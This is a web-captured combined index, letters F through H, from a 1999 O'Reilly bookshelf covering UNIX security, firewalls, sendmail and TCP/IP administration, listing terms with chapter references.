fscanf function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
fsck program
Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
fsirand command : Practical UNIX & Internet Security, 20.4.8. Use fsirand
FSP (File Service Protocol)
Building Internet Firewalls, 2.2. File Transfer
Building Internet Firewalls, 8.2.3. File Service Protocol (FSP)
fstab file
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
Practical UNIX & Internet Security, 19.3.2.5. Mounting a secure filesystem
TCP/IP Network Administration, 9.1.3.2. The vfstab and fstab files
FTP (File Transfer Protocol)
Building Internet Firewalls, 2.2. File Transfer
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
Building Internet Firewalls, 8.2.2. Trivial File Transfer Protocol
Practical UNIX & Internet Security, 17.3.2. (FTP) File Transfer Protocol (TCP Ports 20 and 21)
Practical UNIX & Internet Security, 17.3.2.7. Allowing only FTP access
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 9.6. Managing Distributed Servers
(see also TFTP)
anonymous
Practical UNIX & Internet Security, 4.1. Users and Groups
Practical UNIX & Internet Security, 17.3.2.1. Using anonymous FTP
Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
TCP/IP Network Administration, 13.2. Anonymous FTP
anonymous
and HTTP : Practical UNIX & Internet Security, 18.2.4.1. Beware mixing HTTP with anonymous FTP
Archie : Building Internet Firewalls, 2.6. Other Information Services
configuring : Building Internet Firewalls, 8.2.1. File Transfer Protocol
in screened host architecture : Building Internet Firewalls, 9.2.1.2. FTP
in screened subnet architecture : Building Internet Firewalls, 9.1.1.2. FTP
~ftp/bin directory : Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
~ftp/etc directory : Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
~ftp/pub directory : Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
logging transferred files : Practical UNIX & Internet Security, 10.3.3. xferlog Log File
obtaining BIND via : sendmail, 21.1.1. Which DNS? 4.8.3 or 4.9?
obtaining source code via
sendmail, 2.1. Get the Source
sendmail, 18.3. Obtain the Source
passive (or PASV) mode : Building Internet Firewalls, 8.2.1.1. Packet filtering characteristics of
passive mode
Practical UNIX & Internet Security, 17.3.2.2. Passive vs. active FTP
Practical UNIX & Internet Security, 17.3.2.3. FTP passive mode
problem for firewalls : TCP/IP Network Administration, 12.7.1. Functions of the firewall
proxying with TIS FWTK : Building Internet Firewalls, 7.7.1. FTP Proxying with
resources for : Building Internet Firewalls, A.2. FTP Sites
server, creating : TCP/IP Network Administration, 13.2.1. Creating an FTP Server
setting up server
Practical UNIX & Internet Security, 17.3.2.4. Setting up an FTP server
Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
via proxy server : Building Internet Firewalls, 7.2.2. Using Custom User Procedures for
write-only incoming directory : Building Internet Firewalls, 8.2.1.6. Be careful of writable
wuarchive daemon : Building Internet Firewalls, B.5.1. wuarchive ftpd
wuarchive server : Building Internet Firewalls, 8.2.1.4. Using the wuarchive
ftp account : (see anonymous FTP)
ftp-gw proxy server : Building Internet Firewalls, 9.1.1.2. FTP
ftp.bunyip.com : TCP/IP Network Administration, 13.3.1.1. archie client software
ftp.isc.org : TCP/IP Network Administration, 8.3.4. The named.local File
ftp://rs.internic.net/netinfo/networks.txt : TCP/IP Network Administration, 3.2. The Host Table
ftpd server
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
Practical UNIX & Internet Security, 8.4.2. Changing the Account's Login
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
Practical UNIX & Internet Security, 17.3.2. (FTP) File Transfer Protocol (TCP Ports 20 and 21)
Practical UNIX & Internet Security, 17.3.2.4. Setting up an FTP server
for backups : Practical UNIX & Internet Security, 7.4.5. Backups Across the Net
security hole : Practical UNIX & Internet Security, 6.5.2. Using Message Digests
UUCP enabled on : Practical UNIX & Internet Security, 15.8. UUCP Over Networks
ftpout account, firewalls : Practical UNIX & Internet Security, 21.4.4.1. Creating an ftpout account to allow FTP without proxies.
ftpusers file : Practical UNIX & Internet Security, 17.3.2.5. Restricting FTP with the standard UNIX FTP server
ftruncate system call : Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
full backups : Practical UNIX & Internet Security, 7.1.3. Types of Backups
full duplex : TCP/IP Network Administration, 6.3.5. PPP Server Configuration
full name, sender : sendmail, 36.7. Alphabetized Reference
full zone transfers : TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
"Full-Name:" header line
sendmail, 14.2.1. The Full-Name: Header
sendmail, 30.8. Alphabetized F= Flags
sendmail, 35.10. Alphabetized Reference
fully qualified domain names : (see FQDNs)
function keys : Practical UNIX & Internet Security, 12.3.4.5. Function keys
functionality, add-on : Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
functions, SOCKS vs. network : Building Internet Firewalls, 7.6. Using SOCKS for
future of sendmail : sendmail, The Future
fuzzy name matching : sendmail, 18.8. Alphabetized Reference
FWALL-Users mailing list : Building Internet Firewalls, A.3.2. FWALL-Users

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

G command (sendmail.cf)
sendmail, D.1. Sun Enhancements
sendmail, D.4. L and G Configuration Commands
g flag : sendmail, 30.8. Alphabetized F= Flags
$g macro
sendmail, 14.1.1. The From: Header
sendmail, 31.10. Alphabetized Reference
g option : (see DefaultUser (u,g) option)
G option : (see MatchGecos (G) option)
g3fax image subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
games
Practical UNIX & Internet Security, 8.1.4. Open Accounts
Practical UNIX & Internet Security, 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
gas, natural : Practical UNIX & Internet Security, 12.2.1.5. Explosion
gated (Gateway Routing Daemon)
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
Building Internet Firewalls, B.5.4. gated
Practical UNIX & Internet Security, 17.3.19. Routing Internet Protocol (RIP routed) (UDP Port
TCP/IP Network Administration, 7.6. Gateway Routing Daemon
TCP/IP Network Administration, B.1. The gated Command
commands, listed : TCP/IP Network Administration, 7.7. Configuring gated
configuring : TCP/IP Network Administration, 7.7. Configuring gated
exterior gateway : TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
host routing : TCP/IP Network Administration, 7.7.1.1. A host configuration
interior gateway : TCP/IP Network Administration, 7.7.1.2. Interior gateway configurations
language for : TCP/IP Network Administration, B.1.1. Signal Processing
documentation for : TCP/IP Network Administration, 13.1. The World Wide Web
ripquery and : TCP/IP Network Administration, 11.2. Diagnostic Tools
running at startup : TCP/IP Network Administration, 7.7.2.1. Running gated at startup
testing the configuration : TCP/IP Network Administration, 7.7.2. Testing the Configuration
tools reference : TCP/IP Network Administration, B. A gated Reference
when to use : TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
Gated Consortium : TCP/IP Network Administration, 7.7. Configuring gated
gated.conf file
TCP/IP Network Administration, 7.6. Gateway Routing Daemon
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, 7.7.2.1. Running gated at startup
gated_dump file : TCP/IP Network Administration, B.1.1. Signal Processing
Gateway Routing Daemon : (see gated)
Gateway to Gateway Protocol (GGP) : TCP/IP Network Administration, 2.4. Internet Routing Architecture
gateways
Building Internet Firewalls, C.5.1.1. The datagram
Practical UNIX & Internet Security, 16.2.2. Routing
sendmail, 8.1.1. The dc.gov Domain
TCP/IP Network Administration, 1.5.1.1. The datagram
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 4.3. Planning Routing
active : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
addresses : TCP/IP Network Administration, 7.3. Building a Static Routing Table
application-level : (see proxy servers/services)
in BSD kernel : TCP/IP Network Administration, 5.3.1.1. Options
intermediate
TCP/IP Network Administration, 11.5.2. Tracing Routes
TCP/IP Network Administration, B.8.4. The isis Statement
local : TCP/IP Network Administration, 2.5. The Routing Table
to news via mailing list : sendmail, 25.5.2. Gateway Lists to News
preventing workstation as : sendmail, 20.2.2. Workstation Refuses to Act as a Mail Gateway
WAIS : Building Internet Firewalls, 8.7.2.3. Gateways to WAIS
gateways file
TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
gathering information : (see information)
gcore program : Practical UNIX & Internet Security, C.4. The kill Command
GCT tool : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
gdb debugger : Practical UNIX & Internet Security, C.4. The kill Command
gdc command : TCP/IP Network Administration, 7.7.2. Testing the Configuration
GECOS (or GCOS) : Practical UNIX & Internet Security, 3.2.1. The /etc/passwd File
gecos field (passwd file)
sendmail, 14.2.1. The Full-Name: Header
sendmail, 34.8. Alphabetized Reference
Geer, Dan : Practical UNIX & Internet Security, 27.2.6. Network Providers that Network Too Well
General Electric Company : Practical UNIX & Internet Security, F.3.4.13. General Electric
general-purpose routers : Building Internet Firewalls, 6.8.2. It Can Be a Single-Purpose Router or
generating
passwords automatically : Practical UNIX & Internet Security, 8.8.4. Password Generators
random numbers : Practical UNIX & Internet Security, 23.6. Tips on Generating Random Numbers
GENERIC kernel
TCP/IP Network Administration, 5.3. The BSD Kernel Configuration File
TCP/IP Network Administration, 5.3.1.3. Devices
generic proxy servers : Building Internet Firewalls, 7.3.2. Generic Versus Dedicated Proxies
generic- mc files : sendmail, 19.2. Build with m4
genericstable feature : sendmail, 19.6. Alphabetized m4 Macros
geographic domains : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
German government institutions : Practical UNIX & Internet Security, F.3.4.25. Netherlands: German government institutions
get command
TCP/IP Network Administration, 6.3.2. Dial-Up PPP
TCP/IP Network Administration, 6.4.2. Dial-Up IP
getdomain command : sendmail, D.1. Sun Enhancements
gethostbyaddresses function : Practical UNIX & Internet Security, 16.2.6.1. DNS under UNIX
gethostbyname function : Practical UNIX & Internet Security, 16.2.6.1. DNS under UNIX
gethostname() : sendmail, 21.2.1. Determine the Local Canonical Name
getopt function : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
getpass function
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
Practical UNIX & Internet Security, 23.5. Tips on Using Passwords
getpwuid function : Practical UNIX & Internet Security, 19.4.1. Including or excluding specific accounts:
gets function : Practical UNIX & Internet Security, 23.1.1. The Lesson of the Internet Worm
getservicebyname function : Practical UNIX & Internet Security, 17.1.1. The /etc/services File
getstats program : Practical UNIX & Internet Security, 10.3.5. access_log Log File
getty program : Practical UNIX & Internet Security, C.5.2. Logging In
GGP (Gateway to Gateway Protocol)
Building Internet Firewalls, C.10. Internet Routing Architecture
TCP/IP Network Administration, 2.4. Internet Routing Architecture
gid, assume specified : sendmail, 30.8. Alphabetized F= Flags
GIDs (group identifiers)
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
Practical UNIX & Internet Security, 4.1.3. Groups and Group Identifiers (GIDs)
Practical UNIX & Internet Security, 4.1.3.3. Groups and BSD or SVR4 UNIX
real versus effective : Practical UNIX & Internet Security, 4.3.1. Real and Effective UIDs
gif image subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
GIP RENATER : Practical UNIX & Internet Security, F.3.4.12. France
glass walls : Practical UNIX & Internet Security, 12.2.3.3. Glass walls
global
options : TCP/IP Network Administration, 9.5.1. dhcpd.conf
template : TCP/IP Network Administration, 9.4. A BOOTP Server
variables : sendmail, 20.1.2. Global Variables
glue records
TCP/IP Network Administration, C.2. named.boot Configuration Commands
TCP/IP Network Administration, C.3.1.3. Address record
GNU Emacs : Practical UNIX & Internet Security, 11.5.2.3. GNU .emacs
GNU utilities : Practical UNIX & Internet Security, 23.1.2.1. What they found
Goldman, Sachs, and Company : Practical UNIX & Internet Security, F.3.4.38. U.K. JANET network
Gopher : Building Internet Firewalls, 2.6. Other Information Services
configuring : Building Internet Firewalls, 8.7.1. Gopher
proxying with TIS FWTK : Building Internet Firewalls, 7.7.4. Other TIS FWTK
gov domain : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
granularity, time : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
graph, directed : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
graphic images
Building Internet Firewalls, 5.3.3. What Hardware Configuration?
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
greedy behavior : sendmail, 19.1.1. m4 is greedy
greeting message, SMTP
sendmail, 31.10. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
grep command
TCP/IP Network Administration, 6.1.5.6. Putting ifconfig in the startup files
TCP/IP Network Administration, 11.5. Checking Routing
grounding signals : Practical UNIX & Internet Security, 25.3.3. Signal Grounding
group disk quotas : Practical UNIX & Internet Security, 25.2.2.5. Using quotas
group file
Practical UNIX & Internet Security, 1.2. What Is an Operating System?
Practical UNIX & Internet Security, 4.1.3.1. The /etc/group file
Practical UNIX & Internet Security, 4.2.3. Impact of the /etc/passwd and /etc/group
Practical UNIX & Internet Security, 8.1.6. Group Accounts
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, 13.2.1. Creating an FTP Server
group IDs : (see GIDs)
group permissions : sendmail, 34.8. Alphabetized Reference
group statements
TCP/IP Network Administration, 9.5.1. dhcpd.conf
TCP/IP Network Administration, B.8.5. The bgp Statement
TCP/IP Network Administration, B.8.6. The egp Statement
Group table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
groups
Practical UNIX & Internet Security, 4.1.3. Groups and Group Identifiers (GIDs)
Practical UNIX & Internet Security, 4.1.3.3. Groups and BSD or SVR4 UNIX
sendmail, 18.8. Alphabetized Reference
accounts for : Practical UNIX & Internet Security, 8.1.6. Group Accounts
changing : Practical UNIX & Internet Security, 5.8. chgrp: Changing a File's Group
checklist for : Practical UNIX & Internet Security, A.1.1.3. Chapter 4: Users, Groups, and the Superuser
files writable by : Practical UNIX & Internet Security, 11.6.1.2. Writable system files and directories
identifiers for : (see GIDs)
NIS netgroups
Practical UNIX & Internet Security, 19.4.4. NIS Netgroups
Practical UNIX & Internet Security, 19.4.4.6. NIS is confused about "+"
umask for group projects : Practical UNIX & Internet Security, 5.3.1. The umask Command
wheel : (see wheel group)
grpck command : Practical UNIX & Internet Security, 8.2. Monitoring File Format
guessing passwords : (see cracking, passwords)
guest accounts
Practical UNIX & Internet Security, 4.1. Users and Groups
Practical UNIX & Internet Security, 8.1.4. Open Accounts
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
Practical UNIX & Internet Security, 8.8.7. Algorithm and Library Changes
guest messages, size of : sendmail, 20.2.3. Limit the Size of Guest Messages

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

H configuration command
sendmail, 5.3.8. Headers
sendmail, 14.1. Headers
sendmail, 35.1. The H Configuration Command
h flag : sendmail, 30.8. Alphabetized F= Flags
H line (host status file) : sendmail, B.1. Status file lines
H line (qf file) : sendmail, 23.9. The qf File Internals
$h macro
sendmail, 6.2. Define a Mail Delivery Agent
sendmail, 7.3. Predefined Macros
sendmail, 31.10. Alphabetized Reference
(see also rule set 0)
$H macro : sendmail, 31.10. Alphabetized Reference
h option : (see MaxHopCount (h) option)
H option : (see HelpFile (H) option)
-h switch : sendmail, 36.7. Alphabetized Reference
H_ACHECK flag
sendmail, 35.5.6. H_ACHECK
sendmail, 35.5.16. Replacing Headers with H_ACHECK
H_BCC flag : sendmail, 35.5.14. H_BCC
H_CHECK flag : sendmail, 35.5.5. H_CHECK
H_CTE flag : sendmail, 35.5.12. H_CTE
H_CTYPE flag : sendmail, 35.5.13. H_CTYPE
H_DEFAULT flag : sendmail, 35.5.3. H_DEFAULT
H_ENCODABLE flag : sendmail, 35.5.15. H_ENCODABLE
H_EOH flag : sendmail, 35.5.1. H_EOH
H_ERRSTO flag : sendmail, 35.5.11. H_ERRSTO
H_FORCE flag : sendmail, 35.5.7. H_FORCE
H_FROM flag : sendmail, 35.5.9. H_FROM
H_RCPT flag : sendmail, 35.5.2. H_RCPT
H_RESENT flag : sendmail, 35.5.4. H_RESENT
H_TRACE flag : sendmail, 35.5.8. H_TRACE
H_VALID flag : sendmail, 35.5.10. H_VALID
HACK macro (m4) : sendmail, 19.6. Alphabetized m4 Macros
hacker challenges : Practical UNIX & Internet Security, 27.2.4. Hacker Challenges
hackers : Practical UNIX & Internet Security, 1. Introduction
Haley, Chuck : Practical UNIX & Internet Security, 1.3. History of UNIX
Halon fire extinguishers : Practical UNIX & Internet Security, 12.2.1.1. Fire
and radio transmitters : Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
halt command : Practical UNIX & Internet Security, 24.2.6. Anatomy of a Break-in
handshakes
Building Internet Firewalls, C.6.2. Transmission Control Protocol
TCP/IP Network Administration, 1.5.1. Internet Protocol
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
TCP : TCP/IP Network Administration, 2.7.3. Sockets
three-way : TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
hanging up modem : (see signals)
harassment : Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
hard copy : (see paper)
hard disks : (see media)
hardcopy device, logging to : Practical UNIX & Internet Security, 10.5.2.1. Logging to a printer
hardware
bugs in : Practical UNIX & Internet Security, 27.2.1. Hardware Bugs
configuration of : Building Internet Firewalls, 5.3.3. What Hardware Configuration?
failure of : Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
food and drink threats : Practical UNIX & Internet Security, 12.2.2.1. Food and drink
modems
Practical UNIX & Internet Security, 14. Telephone Security
Practical UNIX & Internet Security, 14.6. Additional Security for Modems
physical security of
Practical UNIX & Internet Security, 12.2. Protecting Computer Hardware
Practical UNIX & Internet Security, 12.2.7. Related Concerns
read-only filesystems : Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
router : (see routers and routing)
seized as evidence : Practical UNIX & Internet Security, 26.2.4. Hazards of Criminal Prosecution
HAS... macros : sendmail, 18.8. Alphabetized Reference
hash database class : sendmail, 33.8. Alphabetized Reference
hash functions : Practical UNIX & Internet Security, 6.5.1. Message Digests
for comments
sendmail, 5.1. Overview
sendmail, 5.2.2. Comments
sendmail, 27.2. Comments
sendmail, 38.2. Configuration Lines
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, 9.1.4. NFS Automounter
TCP/IP Network Administration, 9.2.1. The printcap File
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, A.1.1. The dip Script File
TCP/IP Network Administration, D.3. The dhcpd.conf Configuration File
disabling services with : Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
in :include: lists : sendmail, 25.2.1. Comments in :include: Lists
lines in sendmail.cf : sendmail, 3.1. Role in the Filesystem
in m4 files : sendmail, 19.5. Pitfalls
HAVAL algorithm
Practical UNIX & Internet Security, 6.5.4.3. HAVAL
Practical UNIX & Internet Security, 23.9. A Good Random Seed
Hayes modems : TCP/IP Network Administration, 6.3.2. Dial-Up PPP
compatibility problems : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
HDB UUCP : Practical UNIX & Internet Security, 15.2. Versions of UUCP
header packet
Building Internet Firewalls, 6.3. What Does a Packet Look Like?
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
headers
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 1.5.1.1. The datagram
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
.h files : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
compressing : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
email message
sendmail, 1.5. The Header
sendmail, 5.3.8. Headers
sendmail, 13.4. Sending Mail
sendmail, 14.1. Headers
(see also under specific header line)
adding : sendmail, 20.3. Alphabetized V8.8 Subroutines
changing values of : sendmail, 20.3. Alphabetized V8.8 Subroutines
conf.c file : sendmail, 35.5. Header Behavior in conf.c
defining : (see H configuration command)
delivery agent flags and
sendmail, 14.2. Headers Versus Delivery Agent Flags
sendmail, 35.4. ?flags? in Header Definitions
field contents : sendmail, 35.3. Header Field Contents
firewalls and : sendmail, 20.2.5. Prune Received: Headers at Firewall
getting recipients from : sendmail, 36.7. Alphabetized Reference
mailing lists and : sendmail, 25.5.1. Reply Versus Bounce
in qf file : sendmail, 23.9. The qf File Internals
in queue : sendmail, 3.1.2. The Queue Directory
removing (deleting) : sendmail, 20.3. Alphabetized V8.8 Subroutines
using old style of : sendmail, 34.8. Alphabetized Reference
nested IP : Building Internet Firewalls, 6.3.6. IP Version 6
packet filtering and : Building Internet Firewalls, 6.8.4. It Should Allow Rules Based on Any
heat, extreme : Practical UNIX & Internet Security, 12.2.1.6. Temperature extremes
Hellman, Martin : Practical UNIX & Internet Security, 6.4.5.1. Double DES
Hellman-Merkle : Practical UNIX & Internet Security, 18.6. Dependence on Third Parties
hello
messages : TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
packets : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
statement (in gated) : TCP/IP Network Administration, B.8.3. The hello Statement
HELO command
sendmail, 18.8. Alphabetized Reference
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 3.4.2. Post Office Protocol
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
TCP/IP Network Administration, 7.4. Interior Routing Protocols
help on sendmail
sendmail, Additional Sources of Information
sendmail, 2.2. Read the Documents
HELP command
in ESMTP : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
in nslookup : TCP/IP Network Administration, 8.4. Using nslookup
in SMTP
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
HelpFile (H) option : sendmail, 34.8. Alphabetized Reference
HES_GETMAILHOST macro : sendmail, 18.8. Alphabetized Reference
hesiod database class : sendmail, 33.8. Alphabetized Reference
HESIOD macro : sendmail, 18.8. Alphabetized Reference
Hewlett-Packard (HP) : Practical UNIX & Internet Security, F.3.4.17. Hewlett-Packard (HP)
HFDIR= directive : sendmail, 18.4.9. HFDIR=
hidden
data, in CGI scripts : Practical UNIX & Internet Security, 18.2.3.1. Do not trust the user's browser!
files, created by intruders : Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
space : Practical UNIX & Internet Security, 25.2.2.7. Hidden space
hidden dot algorithm : sendmail, 4.2. Verbose (-v)
hiding information with DNS : Building Internet Firewalls, 8.10.5. Setting Up DNS to Hide
hierarchy, system : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
database system : TCP/IP Network Administration, 9.3.2. NIS+
of responsibility : TCP/IP Network Administration, 12.1.2.1. Use subnets to distribute control
high bit : sendmail, 30.8. Alphabetized F= Flags
High-level Data Link Control (HDLC) : TCP/IP Network Administration, 6.2.1. The Serial Protocols
high-speed dial-up modems : (see modems)
hijacking : Building Internet Firewalls, 10.1.1. Hijacking
hijacking Telnet sessions : Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
HINFO resource records
Building Internet Firewalls, 8.10.4.3. Revealing too much information to
TCP/IP Network Administration, 11.6.2. The data is here and the server can't find it!
TCP/IP Network Administration, C.3.1.7. Host Information record
hints file : TCP/IP Network Administration, 8.3.3. The Cache Initialization File
history file (csh)
Practical UNIX & Internet Security, 10.4.1. Shell History
Practical UNIX & Internet Security, 15.1.1.1. uucp with the C shell
history, sendmail
sendmail, History
sendmail, 27.5. The V Configuration Command
hit lists of passwords : Practical UNIX & Internet Security, 3.6.1. Bad Passwords: Open Doors
hoaxes about viruses : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
HoldExpensive (c) option
sendmail, 23.6.1. Periodically with -q
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
holding messages : (see queue)
holes, security : (see security holes)
home directory, recipient's : sendmail, 31.10. Alphabetized Reference
HOME variable, attacks via : Practical UNIX & Internet Security, 11.5.1.3. $HOME attacks
HoneyDanBer (HDB) UUCP : Practical UNIX & Internet Security, 15.2. Versions of UUCP
Honeyman, Peter : Practical UNIX & Internet Security, 15.2. Versions of UUCP
hop count
sendmail, 14.1.2. The Received: Header
sendmail, 31.10. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
hops
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 2.5. The Routing Table
(see also next hop)
host database class : sendmail, 33.8. Alphabetized Reference
Host Information records : (see HINFO resource records)
host status : sendmail, B.1. Status file lines
host unreachable codes : (see ICMP)
Host-to-Host Transport Layer : (see Transport Layer)
hostname command : sendmail, 7.3.1. The hostname
hostnames
Practical UNIX & Internet Security, 16.2.3. Hostnames
Practical UNIX & Internet Security, 16.2.3.1. The /etc/hosts file
sendmail, 7.3.1. The hostname
sendmail, 21.2.2. Look Up a Remote Host's Name
TCP/IP Network Administration, 3.1. Names and Addresses
$@ operator and
sendmail, 9.2.2. The Host ($@)
sendmail, 9.3. Testing Rule Set 0
sendmail, 17.1.1.3. Handle null address
sendmail, 33.4.2. Specify Numbered Substitution with $@
canonicalizing : (see canonicalization)
capitalization of : sendmail, 30.8. Alphabetized F= Flags
changing to hub name : sendmail, 11.6. Handling user@thishost
choosing : TCP/IP Network Administration, 4.4.2. Choosing a Hostname
controlling access to : Practical UNIX & Internet Security, 17.2. Controlling Access to Servers
default : sendmail, 33.5.3. A :default Outgoing Hostname
domain part : (see $m macro)
easing transition from old to new : TCP/IP Network Administration, C.3.1.5. Canonical Name record
name service and
Practical UNIX & Internet Security, 16.2.6. Name Service
Practical UNIX & Internet Security, 16.2.6.2. Other naming services
parameter : TCP/IP Network Administration, 9.4. A BOOTP Server
short form of : (see $w macro)
hosts
sendmail, 6.3. The local Delivery Agent
TCP/IP Network Administration, 1.7. Application Layer
(see also $h macro)
(see also remote, hosts, checking)
$_ macro : (see $_ macro)
addresses : (see addresses)
architecture of
dual-homed : Building Internet Firewalls, 4.2.1. Dual-Homed Host Architecture
screened
Building Internet Firewalls, 4.2.2. Screened Host Architecture
Building Internet Firewalls, 9.2. Screened Host Architecture
bastion : (see bastion hosts)
canonical names of : sendmail, 31.10. Alphabetized Reference
checking if local : sendmail, 17.2.1. Is the Host Local?
file, caution regarding : TCP/IP Network Administration, 6.1.3. Assigning a Subnet Mask
IP addresses of : sendmail, 31.10. Alphabetized Reference
list : TCP/IP Network Administration, 12.5.1.1. tcpd access control files
masquerading : (see masquerading)
multi-homed : TCP/IP Network Administration, 1.5.1.2. Routing datagrams
name service for : Building Internet Firewalls, 2.9. Name Service
NID passwords for : Practical UNIX & Internet Security, 19.3.2.2. Creating passwords for hosts
offsite MX : sendmail, 21.5.1. Offsite MX Hosts
preference
sendmail, 15.3. MX Records
sendmail, 21.3. Set Up MX Records
security of : Building Internet Firewalls, 1.3.3. Host Security
sender's : (see $s macro)
sending, variables for : sendmail, 20.1.2. Global Variables
setting : sendmail, 36.7. Alphabetized Reference
smart
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 29.6.4. Forwarding to a Knowledgeable Host
sendmail, 31.10. Alphabetized Reference
speed of : Building Internet Firewalls, 5.3.2. How Fast a Machine?
sticky and nonsticky : sendmail, 19.6. Alphabetized m4 Macros
table
TCP/IP Network Administration, 3.1. Names and Addresses
TCP/IP Network Administration, 3.2. The Host Table
system, problems with : TCP/IP Network Administration, 3.2. The Host Table
trusted : (see trusted hosts)
victim : (see victim hosts)
hosts file
Practical UNIX & Internet Security, 16.2.3.1. The /etc/hosts file
sendmail, 7.3.1. The hostname
sendmail, 18.8. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 6.1. The ifconfig Command
TCP/IP Network Administration, 7.3. Building a Static Routing Table
TCP/IP Network Administration, 9.1.4. NFS Automounter
TCP/IP Network Administration, 9.3. Network Information Service
creating : TCP/IP Network Administration, 3.2. The Host Table
as maps : TCP/IP Network Administration, 3.3.5. Network Information Service
modifying : TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
hosts.allow file : TCP/IP Network Administration, 12.5.1.1. tcpd access control files
hosts.deny file
Building Internet Firewalls, 5.8.3.1. Using the TCP Wrapper package to protect services
TCP/IP Network Administration, 12.5.1.1. tcpd access control files
hosts.equiv file
Practical UNIX & Internet Security, 17.3.18.4. The ~/.rhosts file
Practical UNIX & Internet Security, 17.3.18.6. /etc/hosts.lpd file
Practical UNIX & Internet Security, 24.4.1.5. Changes to the hosts.equiv file
TCP/IP Network Administration, 12.2.5. Secure the r Commands
TCP/IP Network Administration, 12.4.2. Looking for Trouble
hosts.lpd file
Practical UNIX & Internet Security, 17.3.18.6. /etc/hosts.lpd file
TCP/IP Network Administration, 9.2.1.1. LPD security
